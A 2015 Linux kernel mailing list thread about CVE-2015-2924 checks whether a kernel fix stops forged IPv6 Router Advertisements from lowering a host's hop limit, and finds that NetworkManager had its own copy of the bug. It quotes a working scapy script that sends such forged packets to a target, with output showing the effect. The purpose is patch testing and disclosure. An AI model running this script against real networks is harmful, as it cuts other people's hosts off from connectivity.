On 29/04/15 18:50, Dan Williams wrote: > On Wed, 2015-04-29 at 17:17 +0200, D.S. Ljungmark wrote: >> On 29/04/15 16:51, Denys Vlasenko wrote: >>> On Wed, Apr 1, 2015 at 9:48 PM, David Miller wrote: >>>> D.S. Ljungmark (1): >>>> ipv6: Don't reduce hop limit for an interface >>> >>> https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=6fd99094de2b83d1d4c8457f2c83483b2828e75a >>> >>> I was testing this change and apparently it doesn't close the hole. >>> >>> The python script I use to send RAs: >>> >>> #!/usr/bin/env python >>> import sys >>> import time >>> import scapy.all >>> from scapy.layers.inet6 import * >>> ip = IPv6() >>> # ip.dst = 'ff02::1' >>> ip.dst = sys.argv[1] >>> icmp = ICMPv6ND_RA() >>> icmp.chlim = 1 >>> for x in range(10): >>> send(ip/icmp) >>> time.sleep(1) >>> >>> # ./ipv6-hop-limit.py fe80::21e:37ff:fed0:5006 >>> . >>> Sent 1 packets. >>> ...<10 times>... >>> Sent 1 packets. >>> >>> After I do this, on the targeted machine I check hop_limits: >>> >>> # for f in /proc/sys/net/ipv6/conf/*/hop_limit; do echo -n $f:; cat $f; done >>> /proc/sys/net/ipv6/conf/all/hop_limit:64 >>> /proc/sys/net/ipv6/conf/default/hop_limit:64 >>> /proc/sys/net/ipv6/conf/enp0s25/hop_limit:1 <=== THIS >>> /proc/sys/net/ipv6/conf/lo/hop_limit:64 >>> /proc/sys/net/ipv6/conf/wlp3s0/hop_limit:64 >>> >>> As you see, the interface which received RAs still lowered >>> its hop_limit to 1. I take it means that the bug is still present >>> (right? I'm not a network guy...). >> >> It might not be present in the _kernel_. Do you run NetworkManager on >> your system? If so, see below. >> >>> >>> I triple-checked that I do run the kernel with the fix. >>> Further investigation shows that the code touched by the fix >>> is not even reached, hop_limit is changed elsewhere. >>> >>> I'm willing to test additional patches. >> >> NetworkManager had it's own re-implementation of the bug. It got fixed >> with NetworkManager commit: >> >> commit bdaaf9849b0cacf131b71fa2ae168f5db796874f >> Author: Thomas Haller >> Date: Wed Apr 8 15:54:30 2015 +0200 >> >> platform: don't accept lowering IPv6 hop-limit from RA (CVE-2015-2924) >> >> >> >> Beforte that commit, NetworkManager would take the RA packet, extract >> the hop limit, and write it to the sysctl itself. > > Yup, we basically followed the original kernel logic here, so we needed > to patch it in NM as well. It's been backported to NM 0.9.10, 1.0, and > obviously is in git master. > Are there any release announcements for NetworkManager? Or a place to link for official releases/homepage? //D.S. -- 8362 CB14 98AD 11EF CEB6 FA81 FCC3 7674 449E 3CFC